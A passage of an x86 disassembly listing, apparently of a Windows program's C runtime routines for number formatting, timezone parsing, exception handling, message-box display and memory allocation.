sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D358 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D370 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DBB50 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DBB78, eax add esp, 18h movsx eax, byte_4DBB52 mov dword_4DBB70, eax pop edi movsx eax, word_4DBB50 mov dword_4DBB74, eax mov dword_4DBB7C, offset dword_4DBB54 mov eax, offset dword_4DBB70 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043CF98o ; ___:0043D7F8o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DBB80 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DBB80 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1FC6D8E8h], dl add ah, byte ptr dword_4DBB80[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DBB8035h, 0C6C7E800h, 0C390021Fh ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2620A01h test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 28F08FEh nop test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 26209B1h nop test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DBC40, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DBC40 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DBB88, ebp mov dword_43D430, ebx mov dword_43D420, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DBB90 nop call near ptr 28B0000h cmp eax, ebx jz loc_424A44 mov eax, dword_4DBB90 mov ecx, dword_4DBBE4 imul eax, 3Ch cmp word_4DBBD6, bp push 1 pop edx mov dword_43D388, eax mov dword_4DBB88, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43D388, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DBC2A, bp jz short loc_424887 mov eax, dword_4DBC38 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43D38C, edx imul eax, 3Ch mov dword_43D390, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43D38C, ebp mov dword_43D390, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43D414 push ebx push offset dword_4DBB94 push edi push dword_4DBA24 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43D414 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43D414 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43D418 push ebx push offset dword_4DBBE8 push edi push dword_4DBA24 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43D418 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DBC3C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DBC3C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DBC3C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43D414 call sub_41B5F0 mov eax, off_43D414 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43D388, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43D388 add ecx, eax mov dword_43D388, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43D388 add ecx, eax mov dword_43D388, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43D388, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43D38C, eax jz short loc_424A3C push 3 push esi push off_43D418 call sub_41B5F0 mov eax, off_43D418 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43D418 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43D38C, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43D420 jnz short loc_424A7C cmp eax, dword_43D430 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DBB88, edi jz loc_424B54 movzx ecx, word_4DBC36 push ecx cmp word_4DBC28, di movzx ecx, word_4DBC34 push ecx movzx ecx, word_4DBC32 push ecx movzx ecx, word_4DBC30 push ecx jnz short loc_424ACE movzx ecx, word_4DBC2C push edi push ecx movzx ecx, word_4DBC2E push ecx movzx ecx, word_4DBC2A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DBC2E push ecx push edi movzx ecx, word_4DBC2A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DBBE2 add esp, 2Ch cmp word_4DBBD4, di push eax movzx eax, word_4DBBE0 push eax movzx eax, word_4DBBDE push eax movzx eax, word_4DBBDC push eax jnz short loc_424B3C movzx eax, word_4DBBD8 push edi push eax movzx eax, word_4DBBDA push eax movzx eax, word_4DBBD6 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DBBDA push eax push edi movzx eax, word_4DBBD6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43D424 mov eax, dword_43D434 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43D428 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43D438 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43D438[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43D46C[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43D43C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43D470[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43D438[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43D46C[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43D424, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43D420, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43D428, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43D434, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43D390 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43D438, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43D438, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43D438, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43D434, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43D430, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DCEC1[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C9E2[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DBC44, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" nop call near ptr 26E0000h mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DBC44, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DBC48, eax call esi mov dword_4DBC4C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DBC48 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DBC4C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DBC44 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DCFE8 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DCFE0 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C9D4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DCFE4 nop call near ptr 27E0000h mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB9DC, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi 